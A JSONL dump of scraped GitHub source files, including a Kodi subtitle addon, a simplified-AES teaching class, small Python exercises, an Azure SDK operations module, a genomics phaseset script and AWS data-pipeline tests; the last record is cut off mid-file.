condsub_prefs):\n log(LOG_DEBUG, 'Evaluating conditional subtitle preferences' )\n # if the audio track has been changed wait some time\n if (self.audio_changed and settings.delay > 0):\n log(LOG_DEBUG, \"Delaying preferences evaluation by {0} ms\".format(4*settings.delay))\n xbmc.sleep(4*settings.delay)\n log(LOG_DEBUG, 'Getting video properties')\n self.getDetails()\n i = 0\n for pref in condsub_prefs:\n i += 1\n g_t, preferences = pref\n # genre or tags are given (g_t not empty) but none of them matches the video's tags/genres\n if g_t and (not (self.genres_and_tags & g_t)):\n continue\n\n log(LOG_INFO,'Cond Sub: genre/tag preference {0} met with intersection {1}'.format(g_t, (self.genres_and_tags & g_t)))\n for pref in preferences:\n audio_name, audio_code, sub_name, sub_code = pref\n if (audio_code == 'non'):\n log(LOG_DEBUG,'continue')\n continue \n if (self.selected_audio_stream and\n self.selected_audio_stream.has_key('language') and\n (audio_code == self.selected_audio_stream['language'] or audio_name == self.selected_audio_stream['language'])):\n log(LOG_INFO, 'Selected audio language matches conditional preference {0} ({1}:{2})'.format(i, audio_name, sub_name) )\n if (sub_code == 'non'):\n return -1\n else:\n for sub in self.subtitles:\n if ((sub_code == sub['language']) or (sub_name == sub['language'])):\n log(LOG_INFO, 'Language of subtitle {0} matches conditional preference {1} ({2}:{3})'.format(sub['index'], i, audio_name, sub_name) )\n return sub['index']\n log(LOG_INFO, 'Conditional subtitle: no match found for preference {0} ({1}:{2})'.format(i, audio_name, sub_name) )\n return -2\n \n def getDetails(self):\n activePlayers ='{\"jsonrpc\": \"2.0\", \"method\": \"Player.GetActivePlayers\", \"id\": 1}'\n json_query = xbmc.executeJSONRPC(activePlayers)\n json_query = unicode(json_query, 'utf-8', errors='ignore')\n json_response = simplejson.loads(json_query)\n activePlayerID = json_response['result'][0]['playerid']\n details_query_dict = { \"jsonrpc\": \"2.0\",\n \"method\": \"Player.GetProperties\",\n \"params\": { \"properties\": \n [\"currentaudiostream\", \"audiostreams\", \"subtitleenabled\",\n \"currentsubtitle\", \"subtitles\" ],\n \"playerid\": activePlayerID },\n \"id\": 1}\n details_query_string = simplejson.dumps(details_query_dict)\n json_query = xbmc.executeJSONRPC(details_query_string)\n json_query = unicode(json_query, 'utf-8', errors='ignore')\n json_response = simplejson.loads(json_query)\n \n if json_response.has_key('result') and json_response['result'] != None:\n self.selected_audio_stream = json_response['result']['currentaudiostream']\n self.selected_sub = json_response['result']['currentsubtitle']\n self.selected_sub_enabled = json_response['result']['subtitleenabled']\n self.audiostreams = json_response['result']['audiostreams']\n self.subtitles = json_response['result']['subtitles']\n log(LOG_DEBUG, json_response )\n genre_tags_query_dict = {\"jsonrpc\": \"2.0\",\n \"method\": \"Player.GetItem\",\n \"params\": { \"properties\":\n [\"genre\", \"tag\"],\n \"playerid\": activePlayerID },\n \"id\": 1}\n genre_tags_query_string = simplejson.dumps(genre_tags_query_dict)\n json_query = xbmc.executeJSONRPC(genre_tags_query_string)\n json_query = unicode(json_query, 'utf-8', errors='ignore')\n json_response = simplejson.loads(json_query)\n if json_response.has_key('result') and json_response['result'] != None:\n gt = []\n if json_response['result']['item'].has_key('genre'):\n gt = json_response['result']['item']['genre']\n if json_response['result']['item'].has_key('tag'):\n gt.extend(json_response['result']['item']['tag'])\n self.genres_and_tags = set(map(lambda x:x.lower(), gt))\n log(LOG_DEBUG, 'Video tags/genres: {0}'.format(self.genres_and_tags))\n log(LOG_DEBUG, json_response )\n\nif ( __name__ == \"__main__\" ):\n log(LOG_INFO, 'service {0} version {1} started'.format(__addonname__, __addonversion__))\n main = Main()\n log(LOG_INFO, 'service {0} version {1} stopped'.format(__addonname__, __addonversion__))\n","repo_name":"ace20022/service.LanguagePreferenceManager","sub_path":"default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":15298,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"38454977647","text":"# Program to remove first occurrence of a given element in the list.\nlist = [14, 220, 14, 30, 14, 40, 14, 50,14]\nn = 14\nans=[i for i in list if i!=n]\nprint(ans)\n\nans1=[m for m in list if m!=n]\nprint(ans1)\n\n\n# ans1=[i for i in list if i==n]\n# print(ans1)","repo_name":"sonalikadlag111/pytraining","sub_path":"Day3/15_occurance.py","file_name":"15_occurance.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69902763443","text":"class SimplifiedAES(object):\n \"\"\"SimplifiedAES is a simplified version of the AES algorithm.\"\"\"\n\n # S-Box and Inverse S-Box\n S_BOX = [\n 0x9, 0x4, 0xA, 0xB, 0xD, 0x1, 0x8, 0x5, 0x6, 0x2, 0x0, 0x3, 0xC, 0xE, 0xF, 0x7\n ]\n INVERSE_S_BOX = [\n 0xA, 0x5, 0x9, 0xB, 0x1, 0x7, 0x8, 0xF, 0x6, 0x0, 0x2, 0x3, 0xC, 0x4, 0xD, 0xE\n ]\n\n def __init__(self, key):\n \"\"\"Initialize SimplifiedAES with the given key.\"\"\"\n self.pre_round_key, self.round1_key, self.round2_key = self.key_expansion(key)\n\n def substitute_word(self, word):\n \"\"\"Substitute word using S-Box.\"\"\"\n return (self.S_BOX[(word >> 4)] << 4) + self.S_BOX[word & 0x0F]\n\n def rotate_word(self, word):\n \"\"\"Rotate word by swapping its nibbles.\"\"\"\n return ((word & 0x0F) << 4) + ((word & 0xF0) >> 4)\n\n def find_key(self, plaintext, ciphertext):\n for key_guess in range(0x10000):\n state = self.add_round_key(self.int_to_state(plaintext), self.int_to_state(key_guess))\n state = self.substitute_nibbles(self.S_BOX, self.shift_rows(state))\n state = self.mix_columns(state)\n\n if self.state_to_int(state) == ciphertext:\n return key_guess\n\n return None\n\n def key_expansion(self, key):\n \"\"\"Expand the given key into round keys for encryption and decryption.\"\"\"\n # Constants for key expansion\n RCON1 = 0x80\n RCON2 = 0x30\n\n # Extracting individual bytes from the key\n w = [None] * 6\n w[0] = (key & 0xFF00) >> 8\n w[1] = key & 0x00FF\n w[2] = w[0] ^ (self.substitute_word(self.rotate_word(w[1])) ^ RCON1)\n w[3] = w[2] ^ w[1]\n w[4] = w[2] ^ (self.substitute_word(self.rotate_word(w[3])) ^ RCON2)\n w[5] = w[4] ^ w[3]\n\n return (\n self.int_to_state((w[0] << 8) + w[1]), # Pre-Round key\n self.int_to_state((w[2] << 8) + w[3]), # Round 1 key\n self.int_to_state((w[4] << 8) + w[5]) # Round 2 key\n )\n\n @staticmethod\n def galois_field_multiply(a, b):\n \"\"\"Galois field multiplication of a and b in GF(2^4) / x^4 + x + 1\"\"\"\n product = 0\n\n a = a & 0x0F\n b = b & 0x0F\n\n while a and b:\n if b & 1:\n product ^= a\n a = a << 1\n if a & (1 << 4):\n a ^= 0b10011\n b = b >> 1\n\n return product\n\n @staticmethod\n def int_to_state(n):\n \"\"\"Convert a 2-byte integer into a 4-element vector (state matrix).\"\"\"\n return [n >> 12 & 0xF, (n >> 4) & 0xF, (n >> 8) & 0xF, n & 0xF]\n\n @staticmethod\n def state_to_int(state):\n \"\"\"Convert a 4-element vector (state matrix) into a 2-byte integer.\"\"\"\n return (state[0] << 12) + (state[2] << 8) + (state[1] << 4) + state[3]\n\n @staticmethod\n def add_round_key(state, round_key):\n \"\"\"Add round keys in GF(2^4).\"\"\"\n return [i ^ j for i, j in zip(state, round_key)]\n\n def substitute_nibbles(self, sbox, state):\n \"\"\"Nibble substitution using the specified S-Box.\"\"\"\n return [sbox[nibble] for nibble in state]\n\n def shift_rows(self, state):\n \"\"\"Shift rows and inverse shift rows of state matrix (same).\"\"\"\n return [state[0], state[1], state[3], state[2]]\n\n def mix_columns(self, state):\n \"\"\"Mix columns transformation on state matrix.\"\"\"\n return [\n state[0] ^ self.galois_field_multiply(4, state[2]),\n state[1] ^ self.galois_field_multiply(4, state[3]),\n state[2] ^ self.galois_field_multiply(4, state[0]),\n state[3] ^ self.galois_field_multiply(4, state[1]),\n ]\n\n def inverse_mix_columns(self, state):\n \"\"\"Inverse mix columns transformation on state matrix.\"\"\"\n return [\n self.galois_field_multiply(9, state[0]) ^ self.galois_field_multiply(2, state[2]),\n self.galois_field_multiply(9, state[1]) ^ self.galois_field_multiply(2, state[3]),\n self.galois_field_multiply(9, state[2]) ^ self.galois_field_multiply(2, state[0]),\n self.galois_field_multiply(9, state[3]) ^ self.galois_field_multiply(2, state[1]),\n ]\n\n def encrypt(self, plaintext):\n \"\"\"Encrypt the given 16-bit plaintext.\"\"\"\n state = self.add_round_key(self.pre_round_key, self.int_to_state(plaintext))\n state = self.mix_columns(self.shift_rows(self.substitute_nibbles(self.S_BOX, state)))\n state = self.add_round_key(self.round1_key, state)\n state = self.shift_rows(self.substitute_nibbles(self.S_BOX, state))\n state = self.add_round_key(self.round2_key, state)\n return self.state_to_int(state)\n\n def decrypt(self, ciphertext):\n \"\"\"Decrypt the given 16-bit ciphertext.\"\"\"\n state = self.add_round_key(self.round2_key, self.int_to_state(ciphertext))\n state = self.substitute_nibbles(self.INVERSE_S_BOX, self.shift_rows(state))\n state = self.inverse_mix_columns(self.add_round_key(self.round1_key, state))\n state = self.substitute_nibbles(self.INVERSE_S_BOX, self.shift_rows(state))\n state = self.add_round_key(self.pre_round_key, state)\n return self.state_to_int(state)\n\n\n\n","repo_name":"KemingWu/SAES-CQU","sub_path":"saes.py","file_name":"saes.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71677468083","text":"print(\"Mary had a little lamb.\")\nprint(\"Its fleece was white as %s.\" % 'snow')\nprint(\"And everywhere that Mary went.\")\nprint(\".\"*10)#点点十连击~\n\nend1 = 'C'\nend2 = 'h'\nend3 = 'e'\nend4 = 'e'\nend5 = 's'\nend6 = 'e'\nend7 = 'B'\nend8 = 'u'\nend9 = 'r'\nend10 = 'g'\nend11 = 'e'\nend12 = 'r'\n\nprint(end1 + end2 + end3 + end4 + end5 + end6 ,end=' ')\n#3没办法和2一样一个逗号就实现不换行╮(╯▽╰)╭\nprint(end7 + end8 + end9 + end10 + end11 + end12)","repo_name":"laippmiles/Code_python3.5","sub_path":"Exercise/ex7_更多打印.py","file_name":"ex7_更多打印.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"381688813","text":"from tkinter import *\n\n\n\n\nroot=Tk()\nroot.geometry('1350x700+0+0')\nroot.title('Admin')\n\nf0=Frame(root,bg='black')\nf0.pack(fill=BOTH,expand=True)\nf1=Frame(f0,bg='sky blue',padx=10)\nf1.pack(side=TOP,fill=X,padx=10,pady=5)\nf2=Frame(f0,bg='red',padx=5,pady=5)\nf2.pack(side=TOP,fill=BOTH,padx=2,pady=2,expand=1)\nf3=Frame(f2,bg='yellow',padx=5,pady=5)\nf3.pack(side=LEFT,fill=BOTH,expand=True,padx=2)\nf4=Frame(f2,bg='sky blue',padx=5,pady=5)\nf4.pack(side=LEFT,fill=BOTH,expand=True,padx=2)\n\nl1=Label(f1,text='Hey!! Welcome back Tanansh. What are you planning to do today?',\n font=('Times new Roman',30,'bold'),bg='sky blue')\nl1.pack(side=TOP, fill=X)\n\n\n\n\n\n\nroot.mainloop()\n\n\n\n","repo_name":"Tanansh-Ahuja/AllAboutPython","sub_path":"project/Money manager/#03 admin page.py","file_name":"#03 admin page.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11990539831","text":"# coding=utf-8\r\n# --------------------------------------------------------------------------\r\n# Copyright (c) Microsoft and contributors. All rights reserved.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n#\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n#\r\n# Code generated by Microsoft (R) AutoRest Code Generator.\r\n# Changes may cause incorrect behavior and will be lost if the code is\r\n# regenerated.\r\n# --------------------------------------------------------------------------\r\n\r\nfrom msrest.pipeline import ClientRawResponse\r\nfrom msrestazure.azure_exceptions import CloudError\r\nimport uuid\r\n\r\nfrom .. import models\r\n\r\n\r\nclass GlobalResourceGroupsOperations(object):\r\n \"\"\"GlobalResourceGroupsOperations operations.\r\n\r\n :param client: Client for service requests.\r\n :param config: Configuration of service client.\r\n :param serializer: An object model serializer.\r\n :param deserializer: An objec model deserializer.\r\n \"\"\"\r\n\r\n def __init__(self, client, config, serializer, deserializer):\r\n\r\n self._client = client\r\n self._serialize = serializer\r\n self._deserialize = deserializer\r\n\r\n self.config = config\r\n\r\n def move_resources(\r\n self, resource_group_name, target_resource_group=None, resources=None, custom_headers=None, raw=False, **operation_config):\r\n \"\"\"\r\n\r\n :param resource_group_name:\r\n :type resource_group_name: str\r\n :param target_resource_group:\r\n :type target_resource_group: str\r\n :param resources:\r\n :type resources: list of str\r\n :param dict custom_headers: headers that will be added to the request\r\n :param bool raw: returns the direct response alongside the\r\n deserialized response\r\n :param operation_config: :ref:`Operation configuration\r\n overrides`.\r\n :rtype: None\r\n :rtype: :class:`ClientRawResponse`\r\n if raw=true\r\n \"\"\"\r\n move_resource_envelope = models.CsmMoveResourceEnvelope(target_resource_group=target_resource_group, resources=resources)\r\n\r\n # Construct URL\r\n url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/moveResources'\r\n path_format_arguments = {\r\n 'resourceGroupName': self._serialize.url(\"resource_group_name\", resource_group_name, 'str'),\r\n 'subscriptionId': self._serialize.url(\"self.config.subscription_id\", self.config.subscription_id, 'str')\r\n }\r\n url = self._client.format_url(url, **path_format_arguments)\r\n\r\n # Construct parameters\r\n query_parameters = {}\r\n query_parameters['api-version'] = self._serialize.query(\"self.config.api_version\", self.config.api_version, 'str')\r\n\r\n # Construct headers\r\n header_parameters = {}\r\n header_parameters['Content-Type'] = 'application/json; charset=utf-8'\r\n if self.config.generate_client_request_id:\r\n header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())\r\n if custom_headers:\r\n header_parameters.update(custom_headers)\r\n if self.config.accept_language is not None:\r\n header_parameters['accept-language'] = self._serialize.header(\"self.config.accept_language\", self.config.accept_language, 'str')\r\n\r\n # Construct body\r\n body_content = self._serialize.body(move_resource_envelope, 'CsmMoveResourceEnvelope')\r\n\r\n # Construct and send request\r\n request = self._client.post(url, query_parameters)\r\n response = self._client.send(\r\n request, header_parameters, body_content, **operation_config)\r\n\r\n if response.status_code not in [204]:\r\n exp = CloudError(response)\r\n exp.request_id = response.headers.get('x-ms-request-id')\r\n raise exp\r\n\r\n if raw:\r\n client_raw_response = ClientRawResponse(None, response)\r\n return client_raw_response\r\n","repo_name":"teopeurt/ansible-ubuntu-server","sub_path":"env/lib/python2.7/site-packages/azure/mgmt/web/operations/global_resource_groups_operations.py","file_name":"global_resource_groups_operations.py","file_ext":"py","file_size_in_byte":4432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29788400201","text":"#!/usr/bin/env python\n\nimport sys\nimport collections\nimport numpy as np\n\n\ndef log(msg):\n print(msg, file=sys.stderr)\n\n\ndef save_phaseset(phasesets, chr, pos, ps_id):\n\n phasesets[chr][ps_id][0] = min(phasesets[chr][ps_id][0], pos)\n phasesets[chr][ps_id][1] = max(phasesets[chr][ps_id][1], pos)\n phasesets[chr][ps_id][2] += 1\n\n\ndef main():\n\n phasesets = collections.defaultdict(\n lambda : collections.defaultdict(\n lambda: [sys.maxsize, 0, 0]\n )\n )\n phased_variants = 0\n\n for i, line in enumerate(sys.stdin):\n\n try:\n # header\n if line.startswith(\"#\"): continue\n\n # get elements\n parts = line.split()\n if len(parts) < 10:\n log(\"Line {} was malformed: {}\".format(i, line))\n sys.exit(1)\n\n # get info we care about\n chr = parts[0]\n pos = int(parts[1]) - 1 # vcf is 1-based (ew)\n # find where (or if) ps is annotated\n format_parts = parts[8].split(\":\")\n ps_idx = None\n for j, f in enumerate(format_parts):\n if f == \"PS\":\n ps_idx=j\n break\n # it might not be defined\n if ps_idx is None:\n continue\n ps_id = parts[9].split(\":\")[ps_idx]\n\n # save data\n phased_variants += 1\n save_phaseset(phasesets, chr, pos, ps_id)\n\n except Exception as e:\n log(\"Got error reading line {}: {}\".format(i, line))\n raise e\n\n # loggit\n if len(phasesets) == 0:\n log(\"Found no phasesets!\")\n sys.exit(0)\n\n # get phasesets\n phaseset_lengths = list()\n print(\"#chr\\tstart_pos\\tend_pos\\tphaseset_id\\tcontained_variants\")\n for chr in sorted(list(phasesets.keys())):\n for ps_id in sorted(list(phasesets[chr].keys()), key=lambda x: phasesets[chr][x][0]):\n ps_info = phasesets[chr][ps_id]\n print(\"{}\\t{}\\t{}\\t{}\\t{}\".format(chr, ps_info[0], ps_info[1], ps_id, ps_info[2]))\n phaseset_lengths.append(ps_info[1] - ps_info[0])\n\n # log info\n log(\"Got {} phasesets from {} phased variants with:\".format(len(phaseset_lengths), phased_variants))\n log(\"\\tMean: {}\".format(int(np.mean(phaseset_lengths))))\n log(\"\\tMedian: {}\".format(int(np.median(phaseset_lengths))))\n log(\"\\tMax: {}\".format(max(phaseset_lengths)))\n half_total = sum(phaseset_lengths) / 2\n for x in sorted(phaseset_lengths, reverse=True):\n half_total -= x\n if half_total <= 0:\n log(\"\\tN50: {}\".format(x))\n break\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"tpesout/genomics_scripts","sub_path":"vcf_to_phasesets.py","file_name":"vcf_to_phasesets.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5008808926","text":"import numpy as np\n\nmacierz = np.zeros([30, 30], dtype= int)\nmacierz[10:20, 10:20] = 1\nmacierz[15:25, 15:25] = 2\nprint(macierz)\n\nimport matplotlib.pyplot as plt\n\nfig, ax = plt.subplots(2,2, figsize=(7,7))\n\nax[0,0].imshow(macierz)\nax[0,0].set_title(\"obraz monochromatyczny\")\nax[0,1].imshow(macierz, cmap = 'binary')\nax[0,1].set_title(\"obraz monochromatyczny\")\n\ncolor = np.zeros([30, 30, 3], dtype= float)\n\ncolor[15:25, 5:15, 0] = 1\ncolor[10:20, 10:20, 1] = 1\ncolor[5:15, 15:25, 2] = 1\n\nax[1,0].imshow(color)\nax[1,0].set_title(\"obraz barwny\")\nax[1,1].imshow(1-color)\nax[1,1].set_title(\"negatyw\")\n\nplt.savefig(\"lab0.png\")\nplt.show()\n","repo_name":"Szymonnnn/Multidimensional_signal_processing","sub_path":"lab0.py","file_name":"lab0.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25714341409","text":"#!/usr/bin/env python\n\nfrom os import makedirs, listdir\nfrom os import path as osp\nfrom PIL import Image as Image_\n\nfrom cv_bridge import CvBridge\nfrom sound_classification.msg import InSound\nimport message_filters\nimport numpy as np\nimport rospkg\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom jsk_recognition_msgs.msg import Spectrum\n\nimport matplotlib.pyplot as plt\n\nfrom scipy.spatial.distance import euclidean\nfrom fastdtw import fastdtw\nfrom scipy import signal, interpolate\n\nrospack = rospkg.RosPack()\nsave_dir = osp.join(rospack.get_path(\n \"sound_classification\"), \"freq_data\", \"20211007_162340\")\nload_file = np.load(osp.join(save_dir, \"max_freq.npy\"))\n\ntime = load_file[0]\nfreq = load_file[1]\n\n#print(freq)\n#print(time)\n\nsave_dir2 = osp.join(rospack.get_path(\n \"sound_classification\"), \"freq_data\", \"20211007_163712\")\nload_file2 = np.load(osp.join(save_dir2, \"max_freq.npy\"))\n\ntime2 = load_file2[0]\nfreq2 = load_file2[1]\n\nfig, axs = plt.subplots()\n\naxs.set_xlabel(\"x\")\naxs.set_ylabel(\"y\")\naxs.plot(time, freq, color=\"blue\")\naxs.plot(time2, freq2, color=\"red\")\nfig.tight_layout()\n#plt.plot(time, freq)\n#plt.plot(time2, freq2)\n\n\nprint(time)\nprint(time2)\n\n#hokan\n#t = np.linspace(4, 20, 1601)\nt = np.linspace(4, 17, 1301)\nf1 = interpolate.interp1d(time, freq)\ny1 = f1(t)\naxs.plot(t, y1, color=\"yellow\")\n\n#t2 = np.linspace(3, 17, 1401)\nt2 = np.linspace(4, 17, 1301)\nf2 = interpolate.interp1d(time2, freq2)\ny2 = f2(t2)\naxs.plot(t2, y2, color=\"purple\")\n\nplt.show()\n\n\ndistance, path = fastdtw(y1, y2, dist=euclidean)\n#plt.plot(y1, label=\"y1\")\n#plt.plot(y2, label=\"y2\")\n#for x_, y_ in path:\n# plt.plot([x_, y_], [y1[x_], y2[y_]], color=\"gray\", linestyle=\"dotted\", linewidth=1)\n#plt.legend()\n#plt.show()\n\n#print(path)\n\nwarp1 = []\nwarp2 = []\nfor i in range(len(path)):\n warp1.append(path[i][0])\n warp2.append(path[i][1])\nplt.plot(warp1, warp2)\nplt.legend()\nplt.show()\n\nfor i in range(len(warp1)):\n print(warp1[i], warp2[i])\n","repo_name":"708yamaguchi/sound_classification","sub_path":"scripts/plot_max_freq.py","file_name":"plot_max_freq.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"6156123515","text":"from keras.datasets import cifar10\nimport numpy as np\nfrom tsnecuda import TSNE\nimport matplotlib.pyplot as plt\n\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\nprint(y_train.shape)\nprint(x_train.shape)\n\ntsne = TSNE(n_iter=5000, verbose=1, perplexity=10000, num_neighbors=128)\ntsne_results = tsne.fit_transform(x_train.reshape(x_train.shape[0],np.prod(x_train.shape[1:])))\n\nprint(tsne_results.shape)\n\n# Create the figure\nfig = plt.figure( figsize=(8,8) )\nax = fig.add_subplot(1, 1, 1, title='TSNE' )\n\n# Create the scatter\nax.scatter(\n x=tsne_results[:,0],\n y=tsne_results[:,1],\n c=y_train,\n cmap=plt.cm.get_cmap('Paired'),\n alpha=0.4,\n s=0.5)\nplt.show()\n","repo_name":"CannyLab/tsne-cuda","sub_path":"examples/cifar.py","file_name":"cifar.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":1635,"dataset":"github-code","pt":"75"} +{"seq_id":"20390629582","text":"from aws.s3 import store_data, get_from_s3\nfrom aws.firehose import put_record\nfrom aws.dynamodb import scan_table, parse_dynamo_item_to_dict, delete_all_items_for_key_uniqueId_outputType, \\\n delete_all_items_for_key_uniqueId\nimport time\nimport json\nfrom pytest import fixture\n\nINPUT_BUCKET = 'sls-data-pipelines-dev-originbucket-5hxa5803ppha'\nKINESIS_FIREHOSE_STREAM_NAME = 'sls-data-pipelines-dev-DeliveryStream-Q7X2Y3M0YUA8'\nANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME = 'sls-data-pipelines-dev-RealTimeAnalyticsPerPointTable-167B4GF1RTPIP'\nTRAFFIC_JAM_ALERTS_DYNAMODB_TABLE_NAME = 'sls-data-pipelines-dev-TrafficJamAlertsTable-35XW6S30O49K'\n\nRESOURCES_PATH = './test_resources'\nS3_XML_PREFIX = 'xml/input/'\nS3_JSON_PREFIX = 'json/input/'\nFILTERED_UNIQUE_IDS = [\"1897\", \"957\", \"3159\", \"3977\", \"1065\", \"569\"]\n\n\n@fixture()\ndef db_setup():\n delete_all_items_for_key_uniqueId_outputType(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n delete_all_items_for_key_uniqueId(TRAFFIC_JAM_ALERTS_DYNAMODB_TABLE_NAME)\n\n\ndef test_when_xml_is_put_on_bucket_it_is_correctly_converted_to_json():\n xml = None\n now = str(int(round(time.time() * 1000)))\n object_key = S3_XML_PREFIX + now + '.xml'\n with open(RESOURCES_PATH + '/input.xml', 'r') as f_xml:\n xml = f_xml.read()\n\n store_data(xml, object_key, INPUT_BUCKET)\n\n json_from_s3 = get_from_s3(S3_JSON_PREFIX + now + '.json', INPUT_BUCKET)\n\n assert json_from_s3 is not None\n\n input_as_json = json.loads(json_from_s3)\n\n assert type(input_as_json) is dict\n assert len(input_as_json[\"miv\"][\"meetpunt\"]) == 2\n\n\ndef test_when_events_are_put_on_firehose_that_match_filter_criteria_then_analytics_results_arrive_in_analytics_per_point_table(db_setup):\n push_pre_configured_traffic_events_to_stream()\n\n time.sleep(90) # give time for firehose and analytics app to process all events\n\n analytics_data = scan_table(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n\n print(analytics_data)\n print(json.dumps(parse_dynamo_item_to_dict(analytics_data[0])))\n\n assert len(analytics_data) == 2\n\n\ndef test_traffic_jam_is_detected(db_setup):\n unique_id = FILTERED_UNIQUE_IDS[0]\n events = create_list_of_events(unique_id, [\"120\", \"60\", \"30\"])\n push_traffic_events_to_stream(events)\n\n time.sleep(90) # give time for firehose and analytics app to process all events\n\n analytics_data = scan_table(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n analytics_items_as_dict = [parse_dynamo_item_to_dict(analytics_item) for analytics_item in analytics_data]\n check_traffic_jam_analytics_for_unique_id(unique_id, analytics_items_as_dict, 1)\n\n\ndef test_speed_diff_slowing_down_is_detected(db_setup):\n unique_id = FILTERED_UNIQUE_IDS[1]\n events = create_list_of_events(unique_id, [\"120\", \"60\", \"30\"])\n push_traffic_events_to_stream(events)\n\n time.sleep(90) # give time for firehose and analytics app to process all events\n\n analytics_data = scan_table(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n analytics_items_as_dict = [parse_dynamo_item_to_dict(analytics_item) for analytics_item in analytics_data]\n check_speed_analytics_for_unique_id(unique_id, analytics_items_as_dict, -1)\n\n\ndef test_speed_diff_accelerating_is_detected(db_setup):\n unique_id = FILTERED_UNIQUE_IDS[1]\n events = create_list_of_events(unique_id, [\"30\", \"60\", \"90\"])\n push_traffic_events_to_stream(events)\n\n time.sleep(90) # give time for firehose and analytics app to process all events\n\n analytics_data = scan_table(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n analytics_items_as_dict = [parse_dynamo_item_to_dict(analytics_item) for analytics_item in analytics_data]\n check_speed_analytics_for_unique_id(unique_id, analytics_items_as_dict, 1)\n\n\ndef test_can_measurements_without_speed_are_ignored(db_setup):\n unique_id = FILTERED_UNIQUE_IDS[1]\n events = create_list_of_events(unique_id, ['120', '120', '252', '252'])\n push_traffic_events_to_stream(events)\n\n time.sleep(90) # give time for firehose and analytics app to process all events\n\n analytics_data = scan_table(ANALYTICS_PER_POINT_DYNAMODB_TABLE_NAME)\n\n analytics_items_as_dict = [parse_dynamo_item_to_dict(analytics_item) for analytics_item in analytics_data]\n check_speed_analytics_for_unique_id(unique_id, analytics_items_as_dict, 0)\n\n\ndef check_traffic_jam_analytics_for_unique_id(unique_id, events, expected_status):\n print(events)\n traffic_jam_events = [e for e in events if e['outputType'] == 'TRAFFIC_JAM']\n traffic_jam_events = [e for e in traffic_jam_events if e['uniqueId'] == unique_id]\n print(traffic_jam_events)\n events_indicating_traffic_jam = [e for e in traffic_jam_events if e['trafficJamIndicator'] == expected_status]\n print(events_indicating_traffic_jam)\n assert len(events_indicating_traffic_jam) == 1\n assert events_indicating_traffic_jam[0]['trafficJamIndicator'] == expected_status\n\n\ndef check_speed_analytics_for_unique_id(unique_id, events, expected_speed_diff):\n print(events)\n traffic_jam_events = [e for e in events if e['outputType'] == 'SPEED_DIFFERENTIAL']\n traffic_jam_events = [e for e in traffic_jam_events if e['uniqueId'] == unique_id]\n print(traffic_jam_events)\n events_indicating_traffic_jam = [e for e in traffic_jam_events if e['speedDiffIndicator'] == expected_speed_diff]\n print(events_indicating_traffic_jam)\n assert len(events_indicating_traffic_jam) == 1\n assert events_indicating_traffic_jam[0]['speedDiffIndicator'] == expected_speed_diff\n\n\ndef update_event_timestamp(event):\n now = int(time.time())\n updated_meetpunt = event.copy()\n updated_meetpunt[\"tijd_waarneming\"] = now\n return updated_meetpunt\n\n\ndef push_traffic_events_to_stream(events):\n for event in events:\n updated_event = update_event_timestamp(event)\n put_record(KINESIS_FIREHOSE_STREAM_NAME, updated_event)\n time.sleep(1)\n\n\ndef push_pre_configured_traffic_events_to_stream():\n events = None\n with open(RESOURCES_PATH + '/firehose-input-events.json', 'r') as f_events:\n events = f_events.readlines()\n events = [json.loads(x.strip()) for x in events]\n print(events)\n for event in events:\n updated_event = update_event_timestamp(event)\n put_record(KINESIS_FIREHOSE_STREAM_NAME, updated_event)\n time.sleep(1)\n return events\n\n\ndef create_list_of_events(unique_id, list_speeds):\n return [create_measurement(unique_id, speed) for speed in list_speeds]\n\n\ndef create_measurement(unique_id, vehicle_speed_klasse2):\n return {\n \"beschrijvende_id\": \"H101L20\", \"unieke_id\": unique_id,\n \"lve_nr\": \"18\", \"tijd_waarneming\": 1588320667,\n \"tijd_laatst_gewijzigd\": \"2020-04-06T17:52:20+01:00\",\n \"actueel_publicatie\": \"1\",\n \"beschikbaar\": \"1\",\n \"defect\": \"0\",\n \"geldig\": \"0\",\n \"verkeersintensiteit_klasse1\": \"0\",\n \"voertuigsnelheid_rekenkundig_klasse1\": \"0\",\n \"voertuigsnelheid_harmonisch_klasse1\": \"252\",\n \"verkeersintensiteit_klasse2\": \"1\",\n \"voertuigsnelheid_rekenkundig_klasse2\": 